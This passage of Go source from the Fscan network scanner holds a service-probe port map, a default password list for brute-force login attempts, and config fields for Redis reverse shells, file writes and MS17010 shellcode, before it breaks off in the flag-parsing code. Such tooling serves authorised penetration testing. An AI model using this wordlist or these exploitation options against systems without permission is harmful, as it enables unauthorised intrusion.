"JavaRMI"}, 1241: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "NessusTPv12", "NessusTPv12", "NessusTPv11", "NessusTPv11", "NessusTPv10", "NessusTPv10"}, 1248: {"GenericLines"}, 1302: {"GenericLines"}, 1311: {"GetRequest", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, 1314: {"GetRequest"}, 1344: {"GetRequest"}, 1352: {"NotesRPC"}, 1400: {"GenericLines"}, 1414: {"ibm-mqseries"}, 1415: {"ibm-mqseries"}, 1416: {"ibm-mqseries"}, 1417: {"ibm-mqseries"}, 1418: {"ibm-mqseries"}, 1419: {"ibm-mqseries"}, 1420: {"ibm-mqseries"}, 1432: {"GenericLines"}, 1433: {"ms-sql-s", "RPCCheck"}, 1440: {"JavaRMI"}, 1443: {"GetRequest", "SSLSessionReq"}, 1467: {"GenericLines"}, 1500: {"Verifier"}, 1501: {"GenericLines", "VerifierAdvanced"}, 1503: {"GetRequest", "TerminalServer"}, 1505: {"GenericLines"}, 1521: {"oracle-tns"}, 1522: {"oracle-tns"}, 1525: {"oracle-tns"}, 1526: {"oracle-tns", "informix", "drda"}, 1527: {"drda"}, 1549: {"WMSRequest"}, 1550: {"X11Probe"}, 1574: {"oracle-tns"}, 1583: {"pervasive-relational", "pervasive-btrieve"}, 1599: {"LibreOfficeImpressSCPair"}, 1610: {"GetRequest"}, 1611: {"GetRequest"}, 1666: {"GenericLines"}, 1687: {"GenericLines"}, 1688: {"GenericLines"}, 1702: {"LDAPSearchReq", "LDAPBindReq"}, 1720: {"TerminalServer"}, 1748: {"oracle-tns"}, 1754: {"oracle-tns"}, 1755: {"WMSRequest"}, 1761: {"LANDesk-RC"}, 1762: {"LANDesk-RC"}, 1763: {"LANDesk-RC"}, 1830: {"GetRequest"}, 1883: {"mqtt"}, 1900: {"GetRequest"}, 1911: {"niagara-fox"}, 1935: {"TerminalServer"}, 1962: {"pcworx"}, 1972: {"NotesRPC"}, 1981: {"JavaRMI"}, 2000: {"SSLSessionReq", "SSLv23SessionReq", "NCP"}, 2001: {"GetRequest"}, 2002: {"GetRequest", "X11Probe"}, 2010: {"GenericLines"}, 2023: {"tn3270"}, 2024: {"GenericLines"}, 2030: {"GetRequest"}, 2040: {"TerminalServer"}, 2049: {"RPCCheck"}, 2050: {"dominoconsole"}, 2064: {"GetRequest"}, 2068: {"DNSVersionBindReqTCP"}, 2100: {"FourOhFourRequest"}, 2105: {"DNSVersionBindReqTCP"}, 2160: {"GetRequest"}, 2181: {"Memcache"}, 2199: {"JavaRMI"}, 2221: {"SSLSessionReq"}, 2252: {"TLSSessionReq", "SSLSessionReq", "NJE"}, 2301: {"HTTPOptions"}, 2306: {"GetRequest"}, 2323: {"tn3270"}, 2375: {"docker"}, 2376: {"SSLSessionReq", "docker"}, 2379: {"docker"}, 2380: {"docker"}, 2396: {"GetRequest"}, 2401: {"Help"}, 2443: {"SSLSessionReq"}, 2481: {"giop"}, 2482: {"giop"}, 2525: {"GetRequest"}, 2600: {"GenericLines"}, 2627: {"Help"}, 2701: {"LANDesk-RC"}, 2715: {"GetRequest"}, 2809: {"JavaRMI"}, 2869: {"GetRequest"}, 2947: {"LPDString"}, 2967: {"DNSVersionBindReqTCP"}, 3000: {"GenericLines", "GetRequest", "Help", "NCP"}, 3001: {"NCP"}, 3002: {"GetRequest", "NCP"}, 3003: {"NCP"}, 3004: {"NCP"}, 3005: {"GenericLines", "NCP"}, 3006: {"SMBProgNeg", "NCP"}, 3025: {"Hello"}, 3031: {"NCP"}, 3050: {"firebird"}, 3052: {"GetRequest", "RTSPRequest"}, 3127: {"mydoom"}, 3128: {"GenericLines", "GetRequest", "HTTPOptions", "mydoom", "Socks5", "Socks4"}, 3129: {"mydoom"}, 3130: {"mydoom"}, 3131: {"mydoom"}, 3132: {"mydoom"}, 3133: {"mydoom"}, 3134: {"mydoom"}, 3135: {"mydoom"}, 3136: {"mydoom"}, 3137: {"mydoom"}, 3138: {"mydoom"}, 3139: {"mydoom"}, 3140: {"mydoom"}, 3141: {"mydoom"}, 3142: {"mydoom"}, 3143: {"mydoom"}, 3144: {"mydoom"}, 3145: {"mydoom"}, 3146: {"mydoom"}, 3147: {"mydoom"}, 3148: {"mydoom"}, 3149: {"mydoom"}, 3150: {"mydoom"}, 3151: {"mydoom"}, 3152: {"mydoom"}, 3153: {"mydoom"}, 3154: {"mydoom"}, 3155: {"mydoom"}, 3156: {"mydoom"}, 3157: {"mydoom"}, 3158: {"mydoom"}, 3159: {"mydoom"}, 3160: {"mydoom"}, 3161: {"mydoom"}, 3162: {"mydoom"}, 3163: {"mydoom"}, 3164: {"mydoom"}, 3165: {"mydoom"}, 3166: {"mydoom"}, 3167: {"mydoom"}, 3168: {"mydoom"}, 3169: {"mydoom"}, 3170: {"mydoom"}, 3171: {"mydoom"}, 3172: {"mydoom"}, 3173: {"mydoom"}, 3174: {"mydoom"}, 3175: {"mydoom"}, 3176: {"mydoom"}, 3177: {"mydoom"}, 3178: {"mydoom"}, 3179: {"mydoom"}, 3180: {"mydoom"}, 3181: {"mydoom"}, 3182: {"mydoom"}, 3183: {"mydoom"}, 3184: {"mydoom"}, 3185: {"mydoom"}, 3186: {"mydoom"}, 3187: {"mydoom"}, 3188: {"mydoom"}, 3189: {"mydoom"}, 3190: {"mydoom"}, 3191: {"mydoom"}, 3192: {"mydoom"}, 3193: {"mydoom"}, 3194: {"mydoom"}, 3195: {"mydoom"}, 3196: {"mydoom"}, 3197: {"mydoom"}, 3198: {"mydoom"}, 3268: {"LDAPSearchReq", "LDAPBindReq"}, 3269: {"LDAPSearchReq", "LDAPBindReq"}, 3273: {"JavaRMI"}, 3280: {"GetRequest"}, 3310: {"GenericLines", "VersionRequest"}, 3333: {"GenericLines", "LPDString", "JavaRMI", "kumo-server"}, 3351: {"pervasive-relational", "pervasive-btrieve"}, 3372: {"GetRequest", "RTSPRequest"}, 3388: {"TLSSessionReq", "TerminalServerCookie", "TerminalServer"}, 3389: {"TerminalServerCookie", "TerminalServer", "TLSSessionReq"}, 3443: {"GetRequest", "SSLSessionReq"}, 3493: {"Help"}, 3531: {"GetRequest"}, 3632: {"DistCCD"}, 3689: {"GetRequest"}, 3790: {"metasploit-msgrpc"}, 3872: {"GetRequest"}, 3892: {"LDAPSearchReq", "LDAPBindReq"}, 3900: {"SMBProgNeg", "JavaRMI"}, 3940: {"GenericLines"}, 4000: {"GetRequest", "NoMachine"}, 4035: {"LDAPBindReq", "LDAPBindReq"}, 4045: {"RPCCheck"}, 4155: {"GenericLines"}, 4369: {"epmd"}, 4433: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, 4443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "FourOhFourRequest"}, 4444: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, 4533: {"rotctl"}, 4567: {"GetRequest"}, 4660: {"GetRequest"}, 4711: {"GetRequest", "piholeVersion"}, 4899: {"Radmin"}, 4911: {"SSLSessionReq", "niagara-fox"}, 4999: {"RPCCheck"}, 5000: {"GenericLines", "GetRequest", "RTSPRequest", "DNSVersionBindReqTCP", "SMBProgNeg", "ZendJavaBridge"}, 5001: {"WMSRequest", "ZendJavaBridge"}, 5002: {"ZendJavaBridge"}, 5009: {"SMBProgNeg"}, 5060: {"GetRequest", "SIPOptions"}, 5061: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SIPOptions"}, 5201: {"iperf3"}, 5222: {"GetRequest"}, 5232: {"HTTPOptions"}, 5269: {"GetRequest"}, 5280: {"GetRequest"}, 5302: {"X11Probe"}, 5323: {"DNSVersionBindReqTCP"}, 5400: {"GenericLines"}, 5427: {"GetRequest"}, 5432: {"GenericLines", "GetRequest", "SMBProgNeg"}, 5443: {"SSLSessionReq"}, 5520: {"DNSVersionBindReqTCP", "JavaRMI"}, 5521: {"JavaRMI"}, 5530: {"DNSVersionBindReqTCP"}, 5550: {"SSLSessionReq", "SSLv23SessionReq"}, 5555: {"GenericLines", "DNSVersionBindReqTCP", "SMBProgNeg", "adbConnect"}, 5556: {"DNSVersionBindReqTCP"}, 5570: {"GenericLines"}, 5580: {"JavaRMI"}, 5600: {"SMBProgNeg"}, 5701: {"hazelcast-http"}, 5702: {"hazelcast-http"}, 5703: {"hazelcast-http"}, 5704: {"hazelcast-http"}, 5705: {"hazelcast-http"}, 5706: {"hazelcast-http"}, 5707: {"hazelcast-http"}, 5708: {"hazelcast-http"}, 5709: {"LANDesk-RC", "hazelcast-http"}, 5800: {"GetRequest"}, 5801: {"GetRequest"}, 5802: {"GetRequest"}, 5803: {"GetRequest"}, 5868: {"SSLSessionReq"}, 5900: {"GetRequest"}, 5985: {"GetRequest"}, 5986: {"GetRequest", "SSLSessionReq"}, 5999: {"JavaRMI"}, 6000: {"HTTPOptions", "X11Probe"}, 6001: {"X11Probe"}, 6002: {"X11Probe"}, 6003: {"X11Probe"}, 6004: {"X11Probe"}, 6005: {"X11Probe"}, 6006: {"X11Probe"}, 6007: {"X11Probe"}, 6008: {"X11Probe"}, 6009: {"X11Probe"}, 6010: {"X11Probe"}, 6011: {"X11Probe"}, 6012: {"X11Probe"}, 6013: {"X11Probe"}, 6014: {"X11Probe"}, 6015: {"X11Probe"}, 6016: {"X11Probe"}, 6017: {"X11Probe"}, 6018: {"X11Probe"}, 6019: {"X11Probe"}, 6020: {"X11Probe"}, 6050: {"DNSStatusRequestTCP"}, 6060: {"JavaRMI"}, 6103: {"GetRequest"}, 6112: {"GenericLines"}, 6163: {"HELP4STOMP"}, 6251: {"SSLSessionReq"}, 6346: {"GetRequest"}, 6379: {"redis-server"}, 6432: {"GenericLines"}, 6443: {"SSLSessionReq"}, 6543: {"DNSVersionBindReqTCP"}, 6544: {"GetRequest"}, 6560: {"Help"}, 6588: {"Socks5", "Socks4"}, 6600: {"GetRequest"}, 6660: {"Socks5", "Socks4"}, 6661: {"Socks5", "Socks4"}, 6662: {"Socks5", "Socks4"}, 6663: {"Socks5", "Socks4"}, 6664: {"Socks5", "Socks4"}, 6665: {"Socks5", "Socks4"}, 6666: {"Help", "Socks5", "Socks4", "beast2", "vp3"}, 6667: {"GenericLines", "Help", "Socks5", "Socks4"}, 6668: {"GenericLines", "Help", "Socks5", "Socks4"}, 6669: {"GenericLines", "Help", "Socks5", "Socks4"}, 6670: {"GenericLines", "Help"}, 6679: {"TLSSessionReq", "SSLSessionReq"}, 6697: {"TLSSessionReq", "SSLSessionReq"}, 6699: {"GetRequest"}, 6715: {"JMON", "JMON"}, 6789: {"JavaRMI"}, 6802: {"NCP"}, 6969: {"GetRequest"}, 6996: {"JavaRMI"}, 7000: {"RPCCheck", "DNSVersionBindReqTCP", "SSLSessionReq", "X11Probe"}, 7002: {"GetRequest"}, 7007: {"GetRequest"}, 7008: {"DNSVersionBindReqTCP"}, 7070: {"GetRequest", "RTSPRequest"}, 7100: {"GetRequest", "X11Probe"}, 7101: {"X11Probe"}, 7144: {"GenericLines"}, 7145: {"GenericLines"}, 7171: {"NotesRPC"}, 7200: {"GenericLines"}, 7210: {"SSLSessionReq", "SSLv23SessionReq"}, 7272: {"SSLSessionReq", "SSLv23SessionReq"}, 7402: {"GetRequest"}, 7443: {"GetRequest", "SSLSessionReq"}, 7461: {"SMBProgNeg"}, 7700: {"JavaRMI"}, 7776: {"GetRequest"}, 7777: {"X11Probe", "Socks5", "Arucer"}, 7780: {"GenericLines"}, 7800: {"JavaRMI"}, 7801: {"JavaRMI"}, 7878: {"JavaRMI"}, 7887: {"xmlsysd"}, 7890: {"JavaRMI"}, 8000: {"GenericLines", "GetRequest", "X11Probe", "FourOhFourRequest", "Socks5", "Socks4"}, 8001: {"GetRequest", "FourOhFourRequest"}, 8002: {"GetRequest", "FourOhFourRequest"}, 8003: {"GetRequest", "FourOhFourRequest"}, 8004: {"GetRequest", "FourOhFourRequest"}, 8005: {"GetRequest", "FourOhFourRequest"}, 8006: {"GetRequest", "FourOhFourRequest"}, 8007: {"GetRequest", "FourOhFourRequest"}, 8008: {"GetRequest", "FourOhFourRequest", "Socks5", "Socks4", "ajp"}, 8009: {"GetRequest", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest", "ajp"}, 8010: {"GetRequest", "FourOhFourRequest", "Socks5"}, 8050: {"JavaRMI"}, 8051: {"JavaRMI"}, 8080: {"GetRequest", "HTTPOptions", "RTSPRequest", "FourOhFourRequest", "Socks5", "Socks4"}, 8081: {"GetRequest", "FourOhFourRequest", "SIPOptions", "WWWOFFLEctrlstat"}, 8082: {"GetRequest", "FourOhFourRequest"}, 8083: {"GetRequest", "FourOhFourRequest"}, 8084: {"GetRequest", "FourOhFourRequest"}, 8085: {"GetRequest", "FourOhFourRequest", "JavaRMI"}, 8087: {"riak-pbc"}, 8088: {"GetRequest", "Socks5", "Socks4"}, 8091: {"JavaRMI"}, 8118: {"GetRequest"}, 8138: {"GenericLines"}, 8181: {"GetRequest", "SSLSessionReq"}, 8194: {"SSLSessionReq", "SSLv23SessionReq"}, 8205: {"JavaRMI"}, 8303: {"JavaRMI"}, 8307: {"RPCCheck"}, 8333: {"RPCCheck"}, 8443: {"GetRequest", "HTTPOptions", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest"}, 8530: {"GetRequest"}, 8531: {"GetRequest", "SSLSessionReq"}, 8642: {"JavaRMI"}, 8686: {"JavaRMI"}, 8701: {"JavaRMI"}, 8728: {"NotesRPC"}, 8770: {"apple-iphoto"}, 8880: {"GetRequest", "FourOhFourRequest"}, 8881: {"GetRequest", "FourOhFourRequest"}, 8882: {"GetRequest", "FourOhFourRequest"}, 8883: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "FourOhFourRequest", "mqtt"}, 8884: {"GetRequest", "FourOhFourRequest"}, 8885: {"GetRequest", "FourOhFourRequest"}, 8886: {"GetRequest", "FourOhFourRequest"}, 8887: {"GetRequest", "FourOhFourRequest"}, 8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI", "LSCP"}, 8889: {"JavaRMI"}, 8890: {"JavaRMI"}, 8901: {"JavaRMI"}, 8902: {"JavaRMI"}, 8903: {"JavaRMI"}, 8999: {"JavaRMI"}, 9000: {"GenericLines", "GetRequest"}, 9001: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "JavaRMI", "Radmin", "mongodb", "tarantool", "tor-versions"}, 9002: {"GenericLines", "tor-versions"}, 9003: {"GenericLines", "JavaRMI"}, 9004: {"JavaRMI"}, 9005: {"JavaRMI"}, 9030: {"GetRequest"}, 9050: {"GetRequest", "JavaRMI"}, 9080: {"GetRequest"}, 9088: {"informix", "drda"}, 9089: {"informix", "drda"}, 9090: {"GetRequest", "JavaRMI", "WMSRequest", "ibm-db2-das", "SqueezeCenter_CLI", "informix", "drda"}, 9091: {"informix", "drda"}, 9092: {"informix", "drda"}, 9093: {"informix", "drda"}, 9094: {"informix", "drda"}, 9095: {"informix", "drda"}, 9096: {"informix", "drda"}, 9097: {"informix", "drda"}, 9098: {"informix", "drda"}, 9099: {"JavaRMI", "informix", "drda"}, 9100: {"hp-pjl", "informix", "drda"}, 9101: {"hp-pjl"}, 9102: {"SMBProgNeg", "hp-pjl"}, 9103: {"SMBProgNeg", "hp-pjl"}, 9104: {"hp-pjl"}, 9105: {"hp-pjl"}, 9106: {"hp-pjl"}, 9107: {"hp-pjl"}, 9300: {"JavaRMI"}, 9390: {"metasploit-xmlrpc"}, 9443: {"GetRequest", "SSLSessionReq"}, 9481: {"Socks5"}, 9500: {"JavaRMI"}, 9711: {"JavaRMI"}, 9761: {"insteonPLM"}, 9801: {"GenericLines"}, 9809: {"JavaRMI"}, 9810: {"JavaRMI"}, 9811: {"JavaRMI"}, 9812: {"JavaRMI"}, 9813: {"JavaRMI"}, 9814: {"JavaRMI"}, 9815: {"JavaRMI"}, 9875: {"JavaRMI"}, 9910: {"JavaRMI"}, 9930: {"ibm-db2-das"}, 9931: {"ibm-db2-das"}, 9932: {"ibm-db2-das"}, 9933: {"ibm-db2-das"}, 9934: {"ibm-db2-das"}, 9991: {"JavaRMI"}, 9998: {"teamspeak-tcpquery-ver"}, 9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"}, 10000: {"GetRequest", "HTTPOptions", "RTSPRequest"}, 10001: {"GetRequest", "JavaRMI", "ZendJavaBridge"}, 10002: {"ZendJavaBridge", "SharpTV"}, 10003: {"ZendJavaBridge"}, 10005: {"GetRequest"}, 10031: {"HTTPOptions"}, 10098: {"JavaRMI"}, 10099: {"JavaRMI"}, 10162: {"JavaRMI"}, 10333: {"teamtalk-login"}, 10443: {"GetRequest", "SSLSessionReq"}, 10990: {"JavaRMI"}, 11001: {"JavaRMI"}, 11099: {"JavaRMI"}, 11210: {"couchbase-data"}, 11211: {"Memcache"}, 11333: {"JavaRMI"}, 11371: {"GenericLines", "GetRequest"}, 11711: {"LDAPSearchReq"}, 11712: {"LDAPSearchReq"}, 11965: {"GenericLines"}, 12000: {"JavaRMI"}, 12345: {"Help", "OfficeScan"}, 13013: {"GetRequest", "JavaRMI"}, 13666: {"GetRequest"}, 13720: {"GenericLines"}, 13722: {"GetRequest"}, 13783: {"DNSVersionBindReqTCP"}, 14000: {"JavaRMI"}, 14238: {"oracle-tns"}, 14443: {"GetRequest", "SSLSessionReq"}, 14534: {"GetRequest"}, 14690: {"Help"}, 15000: {"GenericLines", "GetRequest", "JavaRMI"}, 15001: {"GenericLines", "JavaRMI"}, 15002: {"GenericLines", "SSLSessionReq"}, 15200: {"JavaRMI"}, 16000: {"JavaRMI"}, 17007: {"RPCCheck"}, 17200: {"JavaRMI"}, 17988: {"GetRequest"}, 18086: {"GenericLines"}, 18182: {"SMBProgNeg"}, 18264: {"GetRequest"}, 18980: {"JavaRMI"}, 19150: {"GenericLines", "gkrellm"}, 19350: {"LPDString"}, 19700: {"kumo-server"}, 19800: {"kumo-server"}, 20000: {"JavaRMI", "oracle-tns"}, 20547: {"proconos"}, 22001: {"NotesRPC"}, 22490: {"Help"}, 23791: {"JavaRMI"}, 25565: {"minecraft-ping"}, 26214: {"GenericLines"}, 26256: {"JavaRMI"}, 26470: {"GenericLines"}, 27000: {"SMBProgNeg"}, 27001: {"SMBProgNeg"}, 27002: {"SMBProgNeg"}, 27003: {"SMBProgNeg"}, 27004: {"SMBProgNeg"}, 27005: {"SMBProgNeg"}, 27006: {"SMBProgNeg"}, 27007: {"SMBProgNeg"}, 27008: {"SMBProgNeg"}, 27009: {"SMBProgNeg"}, 27010: {"SMBProgNeg"}, 27017: {"mongodb"}, 27036: {"TLS-PSK"}, 30444: {"GenericLines"}, 31099: {"JavaRMI"}, 31337: {"GetRequest", "SIPOptions"}, 31416: {"GenericLines"}, 32211: {"LPDString"}, 32750: {"RPCCheck"}, 32751: {"RPCCheck"}, 32752: {"RPCCheck"}, 32753: {"RPCCheck"}, 32754: {"RPCCheck"}, 32755: {"RPCCheck"}, 32756: {"RPCCheck"}, 32757: {"RPCCheck"}, 32758: {"RPCCheck"}, 32759: {"RPCCheck"}, 32760: {"RPCCheck"}, 32761: {"RPCCheck"}, 32762: {"RPCCheck"}, 32763: {"RPCCheck"}, 32764: {"RPCCheck"}, 32765: {"RPCCheck"}, 32766: {"RPCCheck"}, 32767: {"RPCCheck"}, 32768: {"RPCCheck"}, 32769: {"RPCCheck"}, 32770: {"RPCCheck"}, 32771: {"RPCCheck"}, 32772: {"RPCCheck"}, 32773: {"RPCCheck"}, 32774: {"RPCCheck"}, 32775: {"RPCCheck"}, 32776: {"RPCCheck"}, 32777: {"RPCCheck"}, 32778: {"RPCCheck"}, 32779: {"RPCCheck"}, 32780: {"RPCCheck"}, 32781: {"RPCCheck"}, 32782: {"RPCCheck"}, 32783: {"RPCCheck"}, 32784: {"RPCCheck"}, 32785: {"RPCCheck"}, 32786: {"RPCCheck"}, 32787: {"RPCCheck"}, 32788: {"RPCCheck"}, 32789: {"RPCCheck"}, 32790: {"RPCCheck"}, 32791: {"RPCCheck"}, 32792: {"RPCCheck"}, 32793: {"RPCCheck"}, 32794: {"RPCCheck"}, 32795: {"RPCCheck"}, 32796: {"RPCCheck"}, 32797: {"RPCCheck"}, 32798: {"RPCCheck"}, 32799: {"RPCCheck"}, 32800: {"RPCCheck"}, 32801: {"RPCCheck"}, 32802: {"RPCCheck"}, 32803: {"RPCCheck"}, 32804: {"RPCCheck"}, 32805: {"RPCCheck"}, 32806: {"RPCCheck"}, 32807: {"RPCCheck"}, 32808: {"RPCCheck"}, 32809: {"RPCCheck"}, 32810: {"RPCCheck"}, 32913: {"JavaRMI"}, 33000: {"JavaRMI"}, 33015: {"tarantool"}, 34012: {"GenericLines"}, 37435: {"HTTPOptions"}, 37718: {"JavaRMI"}, 38978: {"RPCCheck"}, 40193: {"GetRequest"}, 41523: {"DNSStatusRequestTCP"}, 44443: {"GetRequest", "SSLSessionReq"}, 45230: {"JavaRMI"}, 47001: {"JavaRMI"}, 47002: {"JavaRMI"}, 49152: {"FourOhFourRequest"}, 49153: {"mongodb"}, 49400: {"HTTPOptions"}, 50000: {"GetRequest", "ibm-db2-das", "ibm-db2", "drda"}, 50001: {"ibm-db2"}, 50002: {"ibm-db2"}, 50003: {"ibm-db2"}, 50004: {"ibm-db2"}, 50005: {"ibm-db2"}, 50006: {"ibm-db2"}, 50007: {"ibm-db2"}, 50008: {"ibm-db2"}, 50009: {"ibm-db2"}, 50010: {"ibm-db2"}, 50011: {"ibm-db2"}, 50012: {"ibm-db2"}, 50013: {"ibm-db2"}, 50014: {"ibm-db2"}, 50015: {"ibm-db2"}, 50016: {"ibm-db2"}, 50017: {"ibm-db2"}, 50018: {"ibm-db2"}, 50019: {"ibm-db2"}, 50020: {"ibm-db2"}, 50021: {"ibm-db2"}, 50022: {"ibm-db2"}, 50023: {"ibm-db2"}, 50024: {"ibm-db2"}, 50025: {"ibm-db2"}, 50050: {"JavaRMI"}, 50500: {"JavaRMI"}, 50501: {"JavaRMI"}, 50502: {"JavaRMI"}, 50503: {"JavaRMI"}, 50504: {"JavaRMI"}, 50505: {"metasploit-msgrpc"}, 51234: {"teamspeak-tcpquery-ver"}, 55552: {"metasploit-msgrpc"}, 55553: {"metasploit-xmlrpc", "metasploit-xmlrpc"}, 55555: {"GetRequest"}, 56667: {"GenericLines"}, 59100: {"kumo-server"}, 60000: {"ibm-db2", "drda"}, 60001: {"ibm-db2"}, 60002: {"ibm-db2"}, 60003: {"ibm-db2"}, 60004: {"ibm-db2"}, 60005: {"ibm-db2"}, 60006: {"ibm-db2"}, 60007: {"ibm-db2"}, 60008: {"ibm-db2"}, 60009: {"ibm-db2"}, 60010: {"ibm-db2"}, 60011: {"ibm-db2"}, 60012: {"ibm-db2"}, 60013: {"ibm-db2"}, 60014: {"ibm-db2"}, 60015: {"ibm-db2"}, 60016: {"ibm-db2"}, 60017: {"ibm-db2"}, 60018: {"ibm-db2"}, 60019: {"ibm-db2"}, 60020: {"ibm-db2"}, 60021: {"ibm-db2"}, 60022: {"ibm-db2"}, 60023: {"ibm-db2"}, 60024: {"ibm-db2"}, 60025: {"ibm-db2"}, 60443: {"GetRequest", "SSLSessionReq"}, 61613: {"HELP4STOMP"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} var ( Outputfile string // 输出文件路径 OutputFormat string // 输出格式 ) // 添加一个全局的进度条变量 var ProgressBar *progressbar.ProgressBar // 添加一个全局互斥锁来控制输出 var OutputMutex sync.Mutex type PocInfo struct { Target string PocName string } var ( // ========================================================= // 扫描目标配置 // ========================================================= Ports string // 要扫描的端口列表,如"80,443,8080" ExcludePorts string // 要排除的端口列表 ExcludeHosts string // 要排除的主机列表 AddPorts string // 额外添加的端口列表 HostPort []string // 主机:端口格式的目标列表 // ========================================================= // 认证与凭据配置 // ========================================================= Username string // 用于认证的用户名 Password string // 用于认证的密码 AddUsers string // 额外添加的用户名列表 AddPasswords string // 额外添加的密码列表 // 特定服务认证 Domain string // Active Directory/SMB域名 HashValue string // 用于哈希认证的单个哈希值 HashValues []string // 哈希值列表 HashBytes [][]byte // 二进制格式的哈希值列表 HashFile string // 包含哈希值的文件路径 SshKeyPath string // SSH私钥文件路径 // ========================================================= // 扫描控制配置 // ========================================================= ScanMode string // 扫描模式或指定的插件列表 ThreadNum int // 并发扫描线程数 ModuleThreadNum int // 模块内部线程数 Timeout int64 // 单个扫描操作超时时间(秒) GlobalTimeout int64 // 整体扫描超时时间(秒) LiveTop int // 显示的存活主机排名数量 DisablePing bool // 是否禁用主机存活性检测 UsePing bool // 是否使用ICMP Ping检测主机存活 EnableFingerprint bool // 是否跳过服务指纹识别 LocalMode bool // 是否启用本地信息收集模式 // ========================================================= // 输入文件配置 // ========================================================= HostsFile string // 包含目标主机的文件路径 UsersFile string // 包含用户名列表的文件路径 PasswordsFile string // 包含密码列表的文件路径 PortsFile string // 包含端口列表的文件路径 // ========================================================= // Web扫描配置 // ========================================================= TargetURL string // 单个目标URL URLsFile string // 包含URL列表的文件路径 URLs []string // 解析后的URL目标列表 WebTimeout int64 // Web请求超时时间(秒),默认5秒 HttpProxy string // HTTP代理地址 Socks5Proxy string // SOCKS5代理地址 // ========================================================= // POC与漏洞利用配置 // ========================================================= // POC配置 PocPath string // POC脚本路径 Pocinfo PocInfo // POC详细信息结构 DisablePocScan bool //nopoc // Redis利用 RedisFile string // Redis利用目标文件 RedisShell string // Redis反弹Shell命令 DisableRedis bool // 是否禁用Redis利用测试 RedisWritePath string // Redis文件写入路径 RedisWriteContent string // Redis文件写入内容 RedisWriteFile string // Redis写入的源文件 // 其他漏洞利用 Shellcode string // 用于MS17010等漏洞利用的Shellcode // ========================================================= // 暴力破解控制 // ========================================================= DisableBrute bool // 是否禁用暴力破解模块 MaxRetries int // 连接失败最大重试次数 // ========================================================= // 输出与显示配置 // ========================================================= DisableSave bool // 是否禁止保存扫描结果 Silent bool // 是否启用静默模式 NoColor bool // 是否禁用彩色输出 LogLevel string // 日志输出级别 ShowProgress bool // 是否显示进度条 ShowScanPlan bool // 是否显示扫描计划详情 SlowLogOutput bool // 是否启用慢速日志输出 Language string // 界面语言设置 ApiAddr string // API地址 SecretKey string // 加密密钥 ) var ( UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" DnsLog bool PocNum int PocFull bool Cookie string ) ================================================ FILE: Common/Flag.go ================================================ package Common import ( "flag" "fmt" "os" "strings" "github.com/fatih/color" ) func Banner() { // 定义暗绿色系 colors := []color.Attribute{ color.FgGreen, // 基础绿 color.FgHiGreen, // 亮绿 } lines := []string{ " ___ _ ", " / _ \\ ___ ___ _ __ __ _ ___| | __ ", " / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /", "/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ", "\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ", } // 获取最长行的长度 maxLength := 0 for _, line := range lines { if len(line) > maxLength { maxLength = len(line) } } // 创建边框 topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐" bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘" // 打印banner fmt.Println(topBorder) for lineNum, line := range lines { fmt.Print("│ ") // 使用对应的颜色打印每个字符 c := color.New(colors[lineNum%2]) c.Print(line) // 补齐空格 padding := maxLength - len(line) fmt.Printf("%s │\n", strings.Repeat(" ", padding)) } fmt.Println(bottomBorder) // 打印版本信息 c := color.New(colors[1]) c.Printf(" Fscan Version: %s\n\n", version) } // Flag 解析命令行参数并配置扫描选项 func Flag(Info *HostInfo) { Banner() // ═════════════════════════════════════════════════ // 目标配置参数 // ═════════════════════════════════════════════════ flag.StringVar(&Info.Host, "h", "", GetText("flag_host")) flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) flag.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports")) flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file")) // ═════════════════════════════════════════════════ // 扫描控制参数 // ═════════════════════════════════════════════════ flag.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode")) flag.IntVar(&ThreadNum, "t", 600, GetText("flag_thread_num")) flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout")) flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num")) flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout")) flag.IntVar(&LiveTop, "top", 10, 